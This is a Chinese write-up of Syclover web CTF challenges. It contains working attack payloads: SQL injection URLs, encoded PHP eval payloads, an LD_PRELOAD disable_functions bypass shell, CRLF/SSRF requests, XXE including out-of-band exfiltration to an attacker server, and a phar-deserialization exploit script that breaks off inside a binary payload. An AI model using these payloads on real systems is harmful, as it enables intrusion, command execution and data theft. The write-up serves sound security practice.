Syclover-Web题解
目錄
1、打比賽前先擼一只貓!
2、你看見過我的菜刀么
3、BurpSuiiiiiit!!!
4、性感瀟文清,在線算卦
5、Easysql
6、RCE me
7、李三的代碼審計筆記第一頁
8、服務端檢測系統
9、Lovelysql
10、性感黃阿姨,在線聊天
11、李三的代碼審計筆記第二頁
12、Babysql
13、神秘的三葉草
14、Eval evil code
15、Jiang‘s Secret
16、Hardsql
17、你有特洛伊么
18、Leixiao's blog
19、反序列化1.0
20、又來一只貓
21、你有初戀嗎
22、Finalsql
23、你讀懂瀟文清的網站了嗎?
1、打比賽前先擼一只貓!
題目描述:打比賽前先擼一只貓!: 貓貓陪我打ctf!
hint:擼貓:https://www.cnblogs.com/ranyonsue/p/5984001.html
打開題目給的地址,直接F12查看源碼,發現關鍵代碼,上面的flag是假的,在地址后面加上?cat=dog得到真正的flag
2、你看見過我的菜刀么
題目描述:你看見過我的菜刀么
hint:菜刀:https://qq52o.me/2277.html
打開地址發現典型的一句話,直接上菜刀連接,密碼是Syc,找一下就能得到flag
3、BurpSuiiiiiit!!!
題目描述:拿起你的burp,開始戰斗吧 附件: 鏈接:https://share.weiyun.com/5WD42Vt 密碼:zp5sy9 備用鏈接:http://geek.sycsec.com:44444/static/file/Burp.zip
下載附件,打開自己的burpsuit,找到拓展模塊,加載這個文件,查看錯誤信息,就可以得到flag
4、性感瀟文清,在線算卦
題目描述:動作快點才能算到好卦。
打開地址,F12查看源碼,看到關鍵代碼。
主要代碼:最后有提示,條件競爭(可以自行百度)
這段代碼的意思大概就是先創建一個文件夾,然后在這個文件夾下面會新建一個以你輸入的用戶名sha1加密后為名的文件,flag會被寫入到這個文件中,然后這個路徑會被打印出來,但是0.1秒會馬上重新寫入you are too slow!所以直接訪問得不到flag,所以就是要在它重新寫入之前訪問,兩種方法,寫腳本或者用burpsuit爆破,時間久點
<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";if (!is_dir($savepath)) {$oldmask = umask(0);mkdir($savepath);umask($oldmask);}if ((@$_GET['u']) && (@$_GET['p'])) {$content = '***************';file_put_contents("$savepath" . sha1($_GET['u']), $content);$msg = 'Ding!你的算卦結果就在這兒啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";echo $msg;usleep(100000);@$content = "you are too slow";file_put_contents("$savepath" . sha1($_GET['u']), $content);}試試條件競爭吧? -->腳本代碼,運行起來然后訪問他給你的網址
import requests while 1:requests.get('http://148.70.59.198:42534/?u=1&p=1')訪問http://148.70.59.198:42534/?u=1&p=1,burpsuit抓包,直接將密碼或者其他沒用的設為變量,可以設為數字從1到10000000(隨便多大,久就行了),然后訪問它給你的網址
5、Easysql
題目描述:最近我做了一個小網站,我把flag放在里面了,不過我沒有把登陸密碼告訴任何人,所以你們是拿不到flag的!
打開地址,直接萬能密碼登錄拿到flag,username:admin'or 1#,password:1
6、RCE me
題目描述:I don't think U can system RCE,prove to me
題目代碼:
<?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code); } else{highlight_file(__FILE__); } highlight_file(__FILE);// ?>參考文章:https://www.cnblogs.com/BOHB-yunying/p/11706255.html
主要是利用"~"來繞過限制
$a = "phpinfo"; echo urlencode(~$a); %8F%97%8F%96%91%99%90 //phpinfo然后訪問http://114.116.44.23:40001/?code=(~%8F%97%8F%96%91%99%90)();查看禁用函數
常用的系統函數基本被禁掉了,先用scandir讀取一下目錄
print_r(scandir('./'));進行編碼
$a = "print_r"; echo urlencode(~$a).'<br>'; $a = "scandir"; echo urlencode(~$a); %8F%8D%96%91%8B%A0%8D //print_r %8C%9C%9E%91%9B%96%8D //scandir 訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./"))); 讀取當前目錄下的文件?
訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("/"))); 讀取根目錄下的文件?發現flag和readflag兩個
使用readfile('/flag')和readfile('/readflag')讀取兩個文件內容 %8D%9A%9E%9B%99%96%93%9A # readfile %D0%99%93%9E%98 # /flag %D0%8D%9A%9E%9B%99%93%9E%98 # /readflag?
訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98)); 讀取根目錄下的flag文件 沒有東西 訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98)); 讀取根目錄下的readflag文件 發現是二進制文件,猜測應該是運行這個可執行文件,然后得到flag?由于之前的禁用函數沒有包含aasert,所以嘗試使用assert函數寫shell
assert($_POST['a']);?
%9E%8C%8C%9A%8D%8B # assert %DB%A0%AF%B0%AC%AB # $_POST %9E # a %DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2 #$_POST["a"] (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]); //全拆開編碼 (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2)); //后面一起編碼原文章是一起編碼訪問不了,我沒有出現這種情況,但是這里兩種方法都沒有讀取到東西
在查看tmp目錄下發現有其他內容
%8F%8D%96%91%8B%A0%8D #print_r %8C%9C%9E%91%9B%96%8D #scan_dir %D0%8B%92%8F #/tmp 訪問網址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0%8B%92%8F)); 查看/tmp下的文件隨便找一個像shell的php文件,讀取內容,這里看的是hack.php,不能直接看到,需要F12查看源碼
訪問網址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F));嘗試文件包含,測試一下腳本是否可用
%9E%8C%8C%9A%8D%8B #assert %96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4 #include("/tmp/hack.php")訪問網址:http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4)); post數據:test=phpinfo();成功訪問,直接上菜刀進行連接
接下來就是上傳bypass腳本和拓展庫,下面兩個是原文鏈接的
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD我在原代碼baypass_disablefunc.php把get方式改成了post,上傳這個文件
<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_POST["cmd"];$out_path = $_POST["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_POST["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>然后上傳第二個鏈接里面的bypass_disablefunc_x64.so,最后文件包含我們的上傳的bypass文件,得到flag
http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%95%95%95%D1%8F%97%8F%DD%D6%C4)); #assert(include("jjj.php"))post數據:cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.socmd:要執行的文件 outpath:輸出路徑 sopath:上傳的拓展庫記錄一下淚笑師傅在群里給的兩篇借鑒文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/leixiao-/p/10612798.html
這里在推一手官方的題解
https://evoa.me/index.php/archives/62/
7、李三的代碼審計筆記第一頁
題目描述:Talk is easy ,show me the code.
打開文件得到源代碼:
<?phphighlight_file(__FILE__);error_reporting(E_ALL);ini_set("max_execution_time", "60");empty($_GET["url"]) && die();$password = "If I knew where I would die, I would never go there.";$arr = explode(' ', $password);function startsWith($haystack, $needle){$length = strlen($needle);return (substr($haystack, 0, $length) === $needle);}$url = $_GET["url"];if (!startsWith($url,"http://")){die("Not allow !");}for($i=0; $i<count($arr); $i++){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);$output = curl_exec($ch);curl_close($ch);if ($output === $arr[$i]){if($i == sizeof($arr)-1){echo "Congratulations. Flag is SYC{********************************}";}else{continue;}}else{ die("password is wrong");}}?>直接上腳本,由于這里我是本地調試,所以兩個sleep的時間都是一秒,但是公網服務器可能會有延遲,所以sleep的時間需要自己調,先運行腳本,再訪問網址,訪問的網址是http://ctf1.redteam.today:8081/?url=http://你的公網地址/1.php
import time str=['If','I','knew','where','I','would','die,','I','would','never','go','there.'] for i in range(len(str)+1):f=open('1.php','w')payload=str[i]+'<?php sleep(1);?>'f.write(payload)f.closetime.sleep(1)下面記錄一下官方的腳本
import flask import datetimeserver=flask.Flask(__name__) data="If I knew where I would die, I would never go there." data=data.split(" ") data.reverse@server.route('/',methods=['post','get']) def index(): return data.pop()server.run(port=8888)8、服務端檢測系統
題目描述:emm,自己看
hint:ssrf && crlf
打開網址,F12查看源碼,關鍵代碼如下
<!-- /admin.php --> <!--if(isset($_POST['method']) && isset($_POST['url']) ){$method=$_POST['method'];$url=$_POST['url'];if(preg_match('/^http:\/\//i',$url)){$opts = array('http'=>array('method'=>$method,'timeout'=>3));$context = stream_context_create($opts);$body = @file_get_contents($url."/anything", false, $context);if(isset($http_response_header)){preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);if(isset($matches[1])){echo "服務端支持的請求方法有:".$matches[1];}else{echo "failed<br>";echo sprintf("body length of $method%d", $body);}}else{echo "error";}}else{echo 'not allowed';}} -->分析代碼可得,url和method可控,但url必須http://開頭
訪問admin.php頁面顯示only 127.0.0.1 can visit it,又提示說ssrf,說明肯定是利用index.php的功能來ssrf
輸入的url會被拼接上/anything,然后默認以options請求方法訪問,一次得到Allow返回頭
下面就是參考的官方思路
想訪問/admin.php就得繞過/anything后綴,這里可以用?,然后method也改成GET嘗試
url=http://127.0.0.1/admin.php?&method=GET顯示failed是因為采用GET請求方式,服務端是不會返回Allow頭的
而且這里的ssrf也沒有直接的回顯,只有類似響應體長度的語句
但是之前的代碼中sprintf("body length of $method%d", $body);這句代碼有錯誤
因為$method這個變量是我們可控的,然后%%是會被轉義成實義的%,那么我們如果將$method的值傳入為%s%,那么最后拼接成的語句就會是sprintf("body length of %s%%d", $body);,那后面的%%d會被轉義成%d,不起作用了,那么$body的值就會通過%s打印出來,最后顯示的內容就是body length of 返回的數據%d
因為method是作為請求方式去發起http請求的,那么其實發出請求包是這樣的
%s%/admin.php?/anything HTTP/1.0 Host: 127.0.0.1%s%自然是不能作為一個正常的請求頭,但是某些中間件可能也會當做GET請求來響應,比如當前環境中是會正常返回admin.php頁面內容的
發現需要我們POST一個值為yes的iwantflag參數上去才會顯示flag,想要構造POST請求包就有回到了$method這個變量來
發現這里用的是file_get_contents()函數來發起HTTP請求,一些配置選項包括這里的請求方式是作為一個數組通過stream_context_create()處理后傳入的。其實這里就存在crlf注入漏洞,及我們可以完全自己構造一個完整的POST包發出去
具體如下
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1 Host:x Content-Type: application/x-www-form-urlencoded Content-Length:50iwantflag=yes%26b=%s%成功獲得flag
9、Lovelysql
題目描述:上次是我粗心大意,看來不能直接放在網頁上了!
打開網址,發現是上次sql注入的進階版
http://118.25.14.40:8101/check.php?username=admin%27order+by+3%23&password=123 #字段數為3 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,3%23&password=123 #得到報錯回顯的數字為1,2 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,database()%23&password=123 #得到數據庫名 geek http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123 #得到表名geekuser,l0ve1ysq1 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=123 得到字段名id,username,password http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(username,0x7e,password)%20from%20l0ve1ysq1%23&password=123 #得到flag10、性感黃阿姨,在線聊天
題目描述:聽說她有很多小秘密和表情包哦,當然也有你們最想要的flag!
hint:weak php && xxe
打開網址,在下面框內隨便輸入什么之后,她會要你直接問她要flag,但是輸入flag之后,會打印“你只是我guest”
抓包,發現guest,將它改為admin,然后forward
得到一段提示信息
這里利用弱php的特性,推薦文章:https://www.cnblogs.com/liangxiyang/p/10925792.html
PHP中有兩種比較符號,“==”與“===”。“==”我們稱之為等值符,當等號兩邊為相同類型時,直接比較值是否相等;當等號兩邊類型不同時,先轉換為相同的類型,再對轉換后的值進行比較,如果比較一個數字和字符串或者涉及到數字內容的字符串,則字符串會被轉換成數值并且比較按照常數值進行比較。
<?php var_dump("admin"==0); //true var_dump("1admin"==1); //true var_dump("admin1"==1) //false var_dump("admin1"==0) //true var_dump("0e123456"=="0e4456789"); //true ?> 當一個字符串欸當作一個數值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'并且其數值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。直接發送到intruder模塊,將"guest"設為變量,從0爆破到1000
發現為375的時候跟其他都不一樣,抓包改為375發現信息,得到flag存放的位置
提示說xxe,所以把數據包改為xml格式,Content-Type改為xml
后端成功解析
這里可以直接回顯也可以盲注
直接回顯我做的時候不知道為什么不行,可能哪里有點小錯誤,再加之分數高,以為沒那么簡單,所以是盲注出來的
但是看了官方wp之后,這題是可以直接回顯的
下面就是參考的官方wp 這里357為什么繞不過去了,因為json是可以傳遞數字和字符串的,區別就是兩側有無引號,而xml只能傳遞字符串 那么現在就可以構造XXE來讀取文件了,而回顯點就是name但是會發現直接讀_f14g_Is_Here.php讀不出來,這是因為php文件中有特殊字符(如<)讓xml解析時出錯了,可以利用php流讀取
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php"> ]> <root><name>&xxe;</name> <request>flag</request> </root>?
下面分享盲注也就是我的做法(想復雜了。。。)
先在自己的服務器放置一個e.xml,內容如下
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php"> <!ENTITY % int "<!ENTITY trick SYSTEM 'http://你的公網ip/ftp.txt?id=%payload;'>"> %int;xml數據如下,但是這里不能連著出現http:,所以講冒號url編碼為%3A
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http%3A//你的公網ip/e.xml">%remote;]> <root> <xxx>&trick;<xxx> </root>?
11、李三的代碼審計筆記第二頁
題目描述:聽說李三用這個裁剪他的頭像,http://ctf1.redteam.today:8233/www.zip
記錄一下官方題解:
代碼如下
//upload.php<?phperror_reporting(0); ini_set("max_execution_time", "60"); session_start();class Picture {function __construct($tmpName){$whitelist = ["image/jpeg" => "jpg","image/svg+xml" => "svg"];$this->tmpName = $tmpName;$this->mimeType = mime_content_type($tmpName);if (!array_key_exists($this->mimeType, $whitelist)) {$this->jsonencode = json_encode(array("error"=>"圖片不符合要求格式"));exit();}$this->getPictureSize($this->tmpName, $this->mimeType);if ($this->width * $this->height > 1500 * 1500) {$this->jsonencode = json_encode(array("error"=>"圖片過大"));exit();}$this->extension = "." . $whitelist[$this->mimeType];$this->fileName = md5(random_bytes(10));$this->sandbox = $filePath = "picture/" . md5(session_id()) . "/";}function getPictureSize($file, $mimeType) {if ($mimeType == "image/jpeg") {$size = getimagesize($file);$this->width = (int) $size[0];$this->height = (int) $size[1];} else {$xml = file_get_contents($file);$domcument = new DOMDocument();$domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);$img = simplexml_import_dom($domcument);$attrs = $img->attributes();$this->width = (int) $attrs->width;$this->height = (int) $attrs->height;}}function samplePicture() {$filePath = $this->sandbox . $this->fileName . $this->extension;$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);$jsonencode = json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));echo $jsonencode;}function __destruct(){if (!empty($this->jsonencode)){echo $this->jsonencode;return ;}if (!file_exists($this->sandbox)){mkdir($this->sandbox);}$fileDst = $this->sandbox . $this->fileName . $this->extension;move_uploaded_file($this->tmpName, $fileDst);$this->samplePicture();}}header('Content-Type:text/json;charset=utf-8'); new Picture($_FILES['picture']['tmp_name']);題目考點有兩個一個是xxe,一個phar的反序列化。題目的環境是flag在根目錄下,但是做了權限處理需要執行根目錄下的readflag程序才可以讀取,所以這也是當時回復有疑惑的同學說這題不需要知道flag也能做的原因。
關于這兩個考點可以參考這兩篇文章 一篇文章帶你深入理解漏洞之XXE漏洞和利用phar拓展php反序列化漏洞攻擊面
php的反序列化意味著可以控制類的屬性,因此可控的$filePath最后進入exec相當于是一個命令注入漏洞。
$filePath = $this->sandbox . $this->fileName . $this->extension; $samplePath = $this->sandbox . $this->fileName . "_sample.jpg"; exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath); 最后反彈shell,或者把結果重定向到web目錄均可getflag。完整利用的代碼如下 //python2 from sys import * import requests import jsonhost = "ctf1.redteam.today" port = 8233 timeout = 30ip = "http://%s:%d/" % (host, port) session = requests.Session()paramsMultipart = [('picture', ('phar.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x90\x00\x90\x00\x00\xff\xe1\x00tExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00>\x01\x1b\x00\x05\x00\x00\x00\x01\x00\x00\x00F\x01(\x00\x03\x00\x00\x00\x01\x00\x02\x00\x00\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00\x01\x00\x02\xa0\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\xa0\x03\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\xff\xed\x008Photoshop 3.0\x008BIM\x04\x04\x00\x00\x00\x00\x00\x008BIM\x04%\x00\x00\x00\x00\x00\x10\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04\xe9\x80\x09\x98\xec\xf8B~\xff\xe2\x0f\xacICC_PROFILE\x00\x01\x01\x00\x00\x0f\x9cappl\x02\x10\x00\x00mntrRGB XYZ \x07\xe3\x00\x03\x00\x1d\x00\x01\x00:\x00:acspAPPL\x00\x00\x00\x00APPL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-appl\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11desc\x00\x00\x01P\x00\x00\x00bdscm\x00\x00\x01\xb4\x00\x00\x04\x84cprt\x00\x00\x068\x00\x00\x00\x23wtpt\x00\x00\x06\\\x00\x00\x00\x14rXYZ\x00\x00\x06p\x00\x00\x00\x14gXYZ\x00\x00\x06\x84\x00\x00\x00\x14bXYZ\x00\x00\x06\x98\x00\x00\x00\x14rTRC\x00\x00\x06\xac\x00\x00\x08\x0caarg\x00\x00\x0e\xb8\x00\x00\x00 vcgt\x00\x00\x0e\xd8\x00\x00\x000ndin\x00\x00\x0f\x08\x00\x00\x00>chad\x00\x00\x0fH\x00\x00\x00,mmod\x00\x00\x0ft\x00\x00\x00(bTRC\x00\x00\x06\xac\x00\x00\x08\x0cgTRC\x00\x00\x06\xac\x00\x00\x08\x0caabg\x00\x00\x0e\xb8\x00\x00\x00 aagg\x00\x00\x0e\xb8\x00\x00\x00 desc\x00\x00\x00\x00\x00\x00\x00\x08Display\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mluc\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x0chrHR\x00\x00\x00\x14\x00\x00\x01\xd8koKR\x00\x00\x00\x0c\x00\x00\x01\xecnbNO\x00\x00\x00\x12\x00\x00\x01\xf8id\x00\x00\x00\x00\x00\x12\x00\x00\x02\nhuHU\x00\x00\x00\x14\x00\x00\x02\x1ccsCZ\x00\x00\x00\x16\x00\x00\x020daDK\x00\x00\x00\x1c\x00\x00\x02FnlNL\x00\x00\x00\x16\x00\x00\x02bfiFI\x00\x00\x00\x10\x00\x00\x02xitIT\x00\x00\x00\x14\x00\x00\x02\x88esES\x00\x00\x00\x12\x00\x00\x02\x9croRO\x00\x00\x00\x12\x00\x00\x02\x9cfrCA\x00\x00\x00\x16\x00\x00\x02\xaear\x00\x00\x00\x00\x00\x14\x00\x00\x02\xc4ukUA\x00\x00\x00\x1c\x00\x00\x02\xd8heIL\x00\x00\x00\x16\x00\x00\x02\xf4zhTW\x00\x00\x00\x0c\x00\x00\x03\nviVN\x00\x00\x00\x0e\x00\x00\x03\x16skSK\x00\x00\x00\x16\x00\x00\x03\x24zhCN\x00\x00\x00\x0c\x00\x00\x03\nruRU\x00\x00\x00\x24\x00\x00\x03:enGB\x00\x00\x00\x14\x00\x00\x03^frFR\x00\x00\x00\x16\x00\x00\x03rms\x00\x00\x00\x00\x00\x12\x00\x00\x03\x88hiIN\x00\x00\x00\x12\x00\x00\x03\x9athTH\x00\x00\x00\x0c\x00\x00\x03\xaccaES\x00\x00\x00\x18\x00\x00\x03\xb8enAU\x00\x00\x00\x14\x00\x00\x03^esXL\x00\x00\x00\x12\x00\x00\x02\x9cdeDE\x00\x00\x00\x10\x00\x00\x03\xd0enUS\x00\x00\x00\x12\x00\x00\x03\xe0ptBR\x00\x00\x00\x18\x00\x00\x03\xf2plPL\x00\x00\x00\x12\x00\x00\x04\nelGR\x00\x00\x00\"\x00\x00\x04\x1csvSE\x00\x00\x00\x10\x00\x00\x04>trTR\x00\x00\x00\x14\x00\x00\x04NptPT\x00\x00\x00\x16\x00\x00\x04bjaJP\x00\x00\x00\x0c\x00\x00\x04x\x00L\x00C\x00D\x00 \x00u\x00 \x00b\x00o\x00j\x00i\xce\xec\xb7\xec\x00 \x00L\x00C\x00D\x00F\x00a\x00r\x00g\x00e\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00W\x00a\x00r\x00n\x00a\x00S\x00z\x00\xed\x00n\x00e\x00s\x00 \x00L\x00C\x00D\x00B\x00a\x00r\x00e\x00v\x00n\x00\xfd\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00-\x00f\x00a\x00r\x00v\x00e\x00s\x00k\x00\xe6\x00r\x00m\x00K\x00l\x00e\x00u\x00r\x00e\x00n\x00-\x00L\x00C\x00D\x00V\x00\xe4\x00r\x00i\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00i\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00A\x00C\x00L\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r \x0f\x00L\x00C\x00D\x00 \x06E\x06D\x06H\x06F\x06)\x04\x1a\x04>\x04;\x04L\x04>\x04@\x04>\x042\x048\x049\x00 \x00L\x00C\x00D \x0f\x00L\x00C\x00D\x00 \x05\xe6\x05\xd1\x05\xe2\x05\xd5\x05\xe0\x05\xd9_i\x82r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00M\x00\xe0\x00u\x00F\x00a\x00r\x00e\x00b\x00n\x00\xfd\x00 \x00L\x00C\x00D\x04&\x042\x045\x04B\x04=\x04>\x049\x00 \x04\x16\x04\x1a\x00-\x044\x048\x04A\x04?\x04;\x045\x049\x00C\x00o\x00l\x00o\x00u\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r\x00W\x00a\x00r\x00n\x00a\x00 \x00L\x00C\x00D\x090\x09\x02\x09\x17\x09@\x09(\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x0e*\x0e5\x00L\x00C\x00D\x00 \x00e\x00n\x00 \x00c\x00o\x00l\x00o\x00r\x00F\x00a\x00r\x00b\x00-\x00L\x00C\x00D\x00C\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00C\x00o\x00l\x00o\x00r\x00i\x00d\x00o\x00K\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x03\x88\x03\xb3\x03\xc7\x03\xc1\x03\xc9\x03\xbc\x03\xb7\x00 \x03\xbf\x03\xb8\x03\xcc\x03\xbd\x03\xb7\x00 \x00L\x00C\x00D\x00F\x00\xe4\x00r\x00g\x00-\x00L\x00C\x00D\x00R\x00e\x00n\x00k\x00l\x00i\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00a\x00 \x00C\x00o\x00r\x00e\x00s0\xab0\xe90\xfc\x00L\x00C\x00Dtext\x00\x00\x00\x00Copyright Apple Inc., 2019\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf3\x16\x00\x01\x00\x00\x00\x01\x16\xcaXYZ \x00\x00\x00\x00\x00\x00\x83\x87\x00\x00=\xa9\xff\xff\xff\xbbXYZ \x00\x00\x00\x00\x00\x00K\xe5\x00\x00\xb3\xef\x00\x00\n\xddXYZ \x00\x00\x00\x00\x00\x00'j\x00\x00\x0eh\x00\x00\xc8\x95curv\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05\x00\n\x00\x0f\x00\x14\x00\x19\x00\x1e\x00\x23\x00(\x00-\x002\x006\x00;\x00@\x00E\x00J\x00O\x00T\x00Y\x00^\x00c\x00h\x00m\x00r\x00w\x00|\x00\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa3\x00\xa8\x00\xad\x00\xb2\x00\xb7\x00\xbc\x00\xc1\x00\xc6\x00\xcb\x00\xd0\x00\xd5\x00\xdb\x00\xe0\x00\xe5\x00\xeb\x00\xf0\x00\xf6\x00\xfb\x01\x01\x01\x07\x01\r\x01\x13\x01\x19\x01\x1f\x01%\x01+\x012\x018\x01>\x01E\x01L\x01R\x01Y\x01`\x01g\x01n\x01u\x01|\x01\x83\x01\x8b\x01\x92\x01\x9a\x01\xa1\x01\xa9\x01\xb1\x01\xb9\x01\xc1\x01\xc9\x01\xd1\x01\xd9\x01\xe1\x01\xe9\x01\xf2\x01\xfa\x02\x03\x02\x0c\x02\x14\x02\x1d\x02&\x02/\x028\x02A\x02K\x02T\x02]\x02g\x02q\x02z\x02\x84\x02\x8e\x02\x98\x02\xa2\x02\xac\x02\xb6\x02\xc1\x02\xcb\x02\xd5\x02\xe0\x02\xeb\x02\xf5\x03\x00\x03\x0b\x03\x16\x03!\x03-\x038\x03C\x03O\x03Z\x03f\x03r\x03~\x03\x8a\x03\x96\x03\xa2\x03\xae\x03\xba\x03\xc7\x03\xd3\x03\xe0\x03\xec\x03\xf9\x04\x06\x04\x13\x04 